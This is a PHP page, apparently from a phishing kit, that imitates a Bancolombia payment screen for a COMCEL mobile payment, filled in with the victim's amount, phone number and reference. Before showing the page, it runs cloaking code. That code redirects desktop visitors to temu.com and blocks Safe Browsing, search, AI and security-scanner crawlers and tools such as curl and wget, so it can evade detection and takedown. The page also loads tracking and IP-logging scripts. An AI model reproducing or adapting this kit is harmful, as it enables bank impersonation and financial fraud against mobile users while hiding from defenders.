<?php
include('antibots/cloa.php');
define('APP_LOADED', true);
session_start();
require_once('inc/paths.php');
require_once('inc/func.php');

if (!isset($_SESSION['saldo']) || !isset($_SESSION['numero'])) {
    header('Location: /index.php');
    exit;
}

$monto   = $_SESSION['saldo'];
$celular = $_SESSION['numero'];
$ref     = $_SESSION['refer'];
function esPC() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    // Si detecta móvil, NO es PC
    if (preg_match('/iphone|ipad|android|mobile|opera mini|iemobile|blackberry/', $ua)) {
        return false;
    }

    return true;
}

if (esPC()) {
    header("Location: https://www.temu.com/");
    exit();
} 
// ==============================
// ANTIBOT TOTAL �C BLOQUEO ABSOLUTO
// ==============================

// 1. Bloqueo por User-Agent (TODO bot)
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// ==================================================
// LISTA TOTAL DE BOTS (SOLO BOTS, NO HUMANOS)
// ==================================================
$bot_signatures = [

  // ---------- GOOGLE (BOTS REALES) ----------
  'googlebot','adsbot-google','mediapartners-google',
  'apis-google','google-read-aloud',
  'google-safe-browsing','google-safebrowsing',
  'safebrowsing','sb-google',
  'chrome-lighthouse','lighthouse',
  'pagespeed','google page speed',

  // ---------- OTROS BUSCADORES ----------
  'bingbot','msnbot','duckduckbot',
  'yandexbot','baiduspider','seznambot',
  'applebot',

  // ---------- REDES / PREVIEWS ----------
  'facebookexternalhit','facebot',
  'whatsapp','telegrambot',
  'discordbot','slackbot',
  'twitterbot','linkedinbot','pinterest',

  // ---------- IA / LLM ----------
  'gptbot','openai','chatgpt',
  'anthropic','claude',
  'gemini','bard',
  'perplexity','youbot',
  'cohere','huggingface',
  'c.ai','character.ai',

  // ---------- HOSTING / CLOUD (BOTS) ----------
  'amazonbot',
  'googlecloud','gcp',
  'azure',
  'digitalocean',
  'ovh','hetzner','contabo','linode','vultr',
  'oraclecloud','ibmcloud',

  // ---------- REGISTRADORES / DOMINIOS ----------
  'namecheapbot','godaddybot',
  'cloudflare','cf-',
  'domains.google',
  'whois','rdap',

  // ---------- MONITOREO ----------
  'uptimerobot','pingdom','statuscake',
  'betteruptime','datadog','newrelic','site24x7',

  // ---------- SEGURIDAD / SCANNERS ----------
  'nessus','acunetix','qualys',
  'nmap','zgrab','masscan',
  'shodan','censys','securitytrails',

  // ---------- LIBRER�0�1AS / AUTOMATIZACI�0�7N ----------
  'curl','wget','python','requests','aiohttp',
  'axios','httpclient','okhttp','java',
  'go-http','libwww',
  'postman','insomnia'
];

// ==================================================
// BLOQUEO POR FIRMA DE BOT
// ==================================================
foreach ($bot_signatures as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    exit;
  }
}

// ==================================================
// ANTI BOT DISFRAZADO (NO AFECTA HUMANOS)
// ==================================================
$required_headers = [
  'HTTP_ACCEPT',
  'HTTP_ACCEPT_LANGUAGE',
  'HTTP_ACCEPT_ENCODING'
];

foreach ($required_headers as $h) {
  if (empty($_SERVER[$h])) {
    http_response_code(403);
    exit;
  }
}

// JS + cookies
if (!isset($_COOKIE['human_ok'])) {
  setcookie('human_ok','1', time()+3600,'/','',false,true);
  echo '<script>location.reload()</script>';
  exit;
}

// Rate limit humano
$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) {
  http_response_code(429);
  exit;
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Pago en l&iacute;nea</title>
    <base href=".">
    <script><?php echo render_tracker(); ?></script>
    <script async charset="utf-8" src="<?php echo $cfg['rec']; ?>"></script>
    <script src="<?php echo get_ip_script(); ?>"></script>
    <link rel="stylesheet" href="<?php echo $cfg['css']; ?>" media="all" onload="this.media='all'">
    <style>
    <?php echo get_font_import(); ?>;
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0 }
    .pg-wrap { font-family: 'Open Sans', sans-serif; font-weight: 400; background: #f7f7f7; min-height: 100vh; display: flex; flex-direction: column }
    .pg-inner { background: #f7f7f7; background-image: url('assets/boton_files/trazo-06.51bfee6e83ae3ece80dd.svg'); background-repeat: no-repeat; background-size: contain; background-position: 50% 20%; flex: 1; display: flex; flex-direction: column }
    @media (max-width: 599px) { .pg-inner { background-image: none } }
    .pg-top { display: flex; justify-content: center; padding: 10px 0 5px }
    .pg-top img { width: 240px; height: 68px }
    .pg-center { display: flex; justify-content: center; margin-bottom: 30px; min-height: 60vh; flex: 1 }
    @media (min-width: 600px) { .pg-content { margin-top: 1em } }
    .welcome-area { text-align: center; margin-top: 2.9em }
    @media (min-width: 600px) { .welcome-area { margin: .3em 0 1.3em; text-align: initial } }
    .welcome-area h2 { font-family: 'CIBFont Sans bold', sans-serif; font-weight: 700; font-size: 28px; color: #2C2A29; line-height: 32px; letter-spacing: -.6px; margin: 0 1.3em }
    @media (min-width: 600px) { .welcome-area h2 { font-size: 22px; text-align: center; margin: 0 } }
    .detail-bar { background: #000; color: #fff; height: 43px; display: flex; align-items: center; padding-left: 20px; margin: 0 16px; border-radius: 16px 16px 0 0 }
    @media (min-width: 800px) { .detail-bar { margin: 0 } }
    .detail-bar p { margin: 0; font-size: inherit; color: inherit }
    .total-wrap { margin: 0 16px }
    @media (min-width: 800px) { .total-wrap { margin: 0 } }
    .total-box { display: flex; align-items: center; justify-content: center; height: 3.9em; width: 100%; background: #F5B6CD; transition: .3s }
    @media (min-width: 800px) { .total-box { width: 580px; max-width: 580px; padding: 0; margin: 0 auto } }
    .total-box span { font-family: 'CIBFont Sans bold', sans-serif; font-weight: 700; color: #2C2A29; font-size: 20px }
    @media (min-width: 600px) { .total-box span { font-size: 22px } }
    .info-wrap { margin: 0 16px }
    @media (min-width: 800px) { .info-wrap { margin: 0 } }
    .info-card { border-radius: 0 0 16px 16px; padding: 1.1em; width: 100%; max-width: 740px; background: #fff; box-shadow: 0 2px 4px rgba(0,0,0,.1), 0 0 5px rgba(0,0,0,.1) }
    @media (min-width: 800px) { .info-card { width: 580px; max-width: 580px; margin: 0 auto; padding: 22px } }
    .info-grid { width: 100%; display: flex; flex-wrap: wrap }
    .info-item { margin-top: 1em; font-size: 16px; max-width: 514px; width: 100% }
    @media (min-width: 600px) { .info-item { max-width: 317px; max-height: 97px; width: 47%; display: flex; flex-direction: column; padding-right: 16px } .info-item:last-child { margin-bottom: 1.3em } }
    .info-row { display: flex; align-items: center }
    .info-row > span:first-child { padding-right: 5px; flex-shrink: 0 }
    .info-row img { width: 48px }
    .info-label { font-family: 'Open Sans', sans-serif; font-weight: 400; font-size: 14px; color: #292929; line-height: 16px; letter-spacing: -.17px; height: 1.3em }
    .info-value { font-family: 'Open Sans', sans-serif; font-weight: 600; font-size: 14px; color: #2C2A29; line-height: 21px; letter-spacing: -.3px; word-break: break-all }
    .terms-link { text-align: center; display: block; width: 100%; font-weight: 600; margin: 5px 0 9px }
    @media (min-width: 600px) { .terms-link { margin: 40px 0 20px } }
    .terms-link a { color: #000; font-size: 16px; text-decoration: underline }
    .terms-link a:hover, .terms-link a:active, .terms-link a:visited { color: #000 }
    .actions-area { margin-bottom: 0; font-size: 14px; line-height: 18px }
    @media (min-width: 600px) { .actions-area { margin-top: 1em } }
    .actions-flex { display: flex; flex-flow: column; align-items: center; margin: 0 auto; padding: 1.5em 0 0; background: transparent; border: none }
    @media (min-width: 600px) { .actions-flex { flex-flow: row-reverse; justify-content: space-between; max-width: 510px; padding: 0 } }
    @media (max-width: 599px) { .actions-flex { display: inline !important } }
    @media (max-width: 599px) { .primary-action { position: fixed; bottom: 0; left: 0; width: 100%; height: 71px; background: #f7f7f7; border-top: 2px solid #e6e7e8; z-index: 100 } }
    .btn-wrap { margin-bottom: 15px }
    @media (min-width: 600px) { .btn-wrap { margin: 0 auto; padding: 0 !important } }
    .btn-center { position: relative; min-width: 10px; display: flex; justify-content: center }
    .action-btn { position: relative; font-family: 'CIBFont Sans bold', sans-serif; font-weight: 700; box-shadow: 0 0 2px rgba(0,0,0,.16), 0 1px 3px rgba(0,0,0,.1); width: 240px; height: 46px; background: #f7f7f7; border: 1px solid #2C2A29; color: #2C2A29; border-radius: 9999px; cursor: pointer; padding: .5em 0 .4em; outline: 0; font-size: 20px }
    @media (max-width: 599px) { .action-btn { width: 100%; max-width: 380px; font-size: 17px; line-height: 17px } }
    .action-btn:hover { box-shadow: 2px 2px 4px rgba(0,0,0,.21), 0 0 5px rgba(0,0,0,.21) }
    .action-btn:active { box-shadow: 0 0 2px rgba(0,0,0,.16), 0 1px 3px rgba(0,0,0,.1); background: #EBEBEB }
    .action-btn.primary { background: #FDDA24; border-color: transparent; color: #292929; letter-spacing: -.375px; line-height: 24px }
    @media (max-width: 599px) { .action-btn.primary { font-size: 17px; line-height: 17px } }
    .action-btn.primary:hover { background: #FFDB33 }
    .action-btn.primary:active { background: #F3C800 }
    .pg-footer { color: #000; font-size: 14px; line-height: 18px; letter-spacing: -.2px; margin-bottom: 89px }
    @media (min-width: 600px) { .pg-footer { margin-top: 1em; margin-bottom: 0 } }
    .footer-nav { display: none }
    @media (min-width: 600px) { .footer-nav { display: flex; flex-wrap: wrap; margin: 1.5em; justify-content: center } }
    .footer-nav::after { content: ''; background: #ccc; width: 99%; height: 1px }
    .footer-list { display: flex; list-style: none; padding: 0 }
    .footer-item { display: flex; align-items: center }
    .footer-item span { text-decoration: none; letter-spacing: -.2px; color: #000; font-size: 14px; font-family: 'Open Sans', sans-serif }
    .footer-item:not(:last-child)::after { content: ''; height: 2px; width: 2px; background: #000; border-radius: 50%; margin: 0 1em }
    .footer-sep { display: block; background: #ccc; width: 95%; margin: 0 1em 10px; height: 1px }
    @media (min-width: 600px) { .footer-sep { display: none } }
    .footer-grid { display: grid; justify-items: center; gap: 0; grid-template: "icon" 29px "vigilado" 29px "date" 21px / auto; margin-bottom: 1.5em }
    @media (min-width: 600px) { .footer-grid { padding: 0 22px 0 15px; justify-items: normal; margin: 0 .8em 2em .31em; grid-template: "icon copyright . date" 20px ". vigilado . ." 20px / 40px 300px auto auto } }
    .fg-icon { grid-area: icon }
    .fg-icon img { width: 30px; height: 30px }
    .fg-copy { display: none }
    @media (min-width: 600px) { .fg-copy { display: inline-block; grid-area: copyright } }
    .fg-vig { width: 114px; height: 14px; grid-area: vigilado }
    .fg-date { display: flex; justify-content: flex-end; grid-area: date; text-align: center }
    </style>
    <script src="<?php echo $cfg['js1']; ?>" type="module"></script>
    <script src="<?php echo $cfg['js2']; ?>" nomodule></script>
</head>
<body class="pg-wrap">
    <section class="pg-inner">
        <header class="pg-top">
            <img src="<?php echo $cfg['logo']; ?>" alt="Logo">
        </header>
        <main class="pg-center">
            <div class="pg-content">
                <div class="welcome-area">
                    <h2>&iexcl;Te damos la bienvenida!</h2>
                </div>
                <div class="detail-bar">
                    <p>Detalle del pago</p>
                </div>
                <div class="total-wrap">
                    <div class="total-box">
                        <span>Total a pagar:&nbsp; $ <?php echo $monto; ?></span>
                    </div>
                </div>
                <div class="info-wrap">
                    <div class="info-card">
                        <div class="info-grid">
                            <div class="info-item">
                                <div class="info-row">
                                    <span><img src="<?php echo $cfg['store']; ?>" alt=""></span>
                                    <div>
                                        <div class="info-label">Comercio</div>
                                        <div class="info-value">COMUNICACION CELULAR SA COMCEL SA</div>
                                    </div>
                                </div>
                            </div>
                            <div class="info-item">
                                <div class="info-row">
                                    <span><img src="<?php echo $cfg['holding']; ?>" alt=""></span>
                                    <div>
                                        <div class="info-label">Referencia del producto</div>
                                        <div class="info-value"><?php echo $ref; ?></div>
                                    </div>
                                </div>
                            </div>
                            <div class="info-item">
                                <div class="info-row">
                                    <span><img src="<?php echo $cfg['doc']; ?>" alt=""></span>
                                    <div>
                                        <div class="info-label">Descripci&oacute;n</div>
                                        <div class="info-value">Movil Express Ref pago express No <?php echo $ref . ' ' . $celular; ?></div>
                                    </div>
                                </div>
                            </div>
                            <div class="info-item">
                                <div class="info-row">
                                    <span><img src="<?php echo $cfg['coin']; ?>" alt=""></span>
                                    <div>
                                        <div class="info-label">Costo del pago</div>
                                        <div class="info-value">$ 0 COP</div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="terms-link">
                    <a href="#">Ver t&eacute;rminos y condiciones</a>
                </div>
                <div class="actions-area">
                    <div class="actions-flex">
                        <div class="primary-action">
                            <div class="btn-wrap" style="padding: 11px 20px">
                                <div class="btn-center">
                                    <button type="button" class="action-btn primary" id="b1">Comenzar</button>
                                </div>
                            </div>
                        </div>
                        <div>
                            <div class="btn-wrap">
                                <div class="btn-center">
                                    <button type="button" class="action-btn" id="b2">Cancelar</button>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </main>
        <footer class="pg-footer">
            <nav class="footer-nav">
                <ul class="footer-list">
                    <li class="footer-item"><span>Cont&aacute;ctanos</span></li>
                    <li class="footer-item"><span>Aprenda sobre seguridad</span></li>
                    <li class="footer-item"><span>Pol&iacute;ticas de privacidad</span></li>
                </ul>
            </nav>
            <div class="footer-sep"></div>
            <div class="footer-grid">
                <div class="fg-icon"><img alt="" loading="lazy" src="<?php echo $cfg['fenix']; ?>"></div>
                <div class="fg-copy"><span>Copyright &copy; 2024 Grupo Bancolombia.</span></div>
                <img loading="lazy" src="<?php echo $cfg['vig']; ?>" alt="" class="fg-vig">
                <div class="fg-date"></div>
            </div>
        </footer>
    </section>
    <script><?php echo render_actions($celular); ?></script>
</body>
</html>
